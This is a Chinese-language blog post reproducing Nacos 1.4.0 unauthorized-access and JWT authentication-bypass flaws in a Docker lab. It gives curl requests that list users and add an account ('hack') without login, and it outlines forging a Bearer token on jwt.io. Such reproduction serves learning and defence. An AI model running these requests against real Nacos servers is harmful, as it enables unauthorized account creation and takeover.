关于NACOS-1.4.0未授权访问和旁路身份验证安全漏洞及其复现
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!譬如收集大规模集群(包括网络设备、操作系统、应用程序)的监控数据并进行存储。查询使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范
漏洞复现
下载docker(切root)
Linux内核>=5.5.0
uname -a//查看Linux内核
1、更新下载源
#新重写sources.list中内容,一个个字母删除太久了
cho > /etc/apt/sources.list
#进入sources.lis重新编辑apt源
vim /etc/apt/sources.list
写完后按Esc退出编辑模式
之后shitf+;输入wq,回车
源
#其他apt源
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
2、进行系统或工具的更新
建议边下边打游戏,这样时间快一点TvT
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade
apt-get clean
3、采用apt安装Docker
apt-get install docker docker-compose
#或
apt-get install docker.io
4、检验Docker成功安装
#启动docker服务
service docker start
#列出docker现有镜像
docker images
5、搭建环境
vim docker-compose.yml
#内容如下
version: '3'
services:
nacos:
restart: always
image: nacos/nacos-server:1.4.0
container_name: nacos
ports:
- 8848:8848
environment:
MODE: standalone
docker-compose up -d启动
访问 http://192.168.xx.xx:8848/nacos/#/login
默认用户名密码 nacos,nacos
NACOS未授权访问漏洞
访问用户账号密码列表
url/nacos/v1/auth/users?pageNo=1&pageSize=9
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改
curl -XGET 'http://192.168.1.5:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
向服务器添加用户
方法1
curl -XPOST 'http://192.168.xx.xx:8848/nacos/v1/auth/users?username=hack&password=hackers'
方法2
User-Agent 字段表示的是Nacos服务器自身作为客户端与其他服务交互时的身份标识。
Nacos-Server 是指 Nacos 服务端程序,它是 Nacos 整个服务体系中的核心组件。
在微服务架构中,Nacos-Server 扮演的角色主要包括:
1.服务注册中心:服务提供者启动时向 Nacos Server 注册自己的服务实例信息,如 IP 地址、端口号等,服务消费者则可以从 Nacos Server 查询并订阅服务列表,实现服务间的自动发现和调用。
2.配置中心:Nacos 提供统一的配置管理服务,应用可以通过 Nacos-Server 动态地获取和更新配置信息,而不必重启服务,极大地提高了系统的灵活性和运维效率。
NACOS旁路身份验证安全漏洞
https://jwt.io/构造base64--jwt的网站
我构造的是 2024-05-12 21:21:37 --> 1715520097
构造Authorization: Bearer <access_token>
Authorization: Bearer
是HTTP协议中的一种授权头字段(Header Field),常用于OAuth 2.0协议以及其他JWT(JSON Web Tokens)认证机制中。当客户端通过OAuth 2.0获取到访问令牌(Access Token)后,在后续向受保护资源服务器发起请求时,会在HTTP请求头中携带这个字段以证明其身份和权限。
<access_token>
是一个由授权服务器颁发的、经过加密签名的字符串,代表了客户端获得的授权许可。服务器接收到请求后,会验证这个Bearer Token的有效性,确认无误后允许客户端访问对应的受保护资源。
将jwt码放入Authorization: Bearer后的<access_token>位置
之后继续进行绕过
放包之后登陆成功
- 点赞
- 收藏
- 关注作者
评论(0)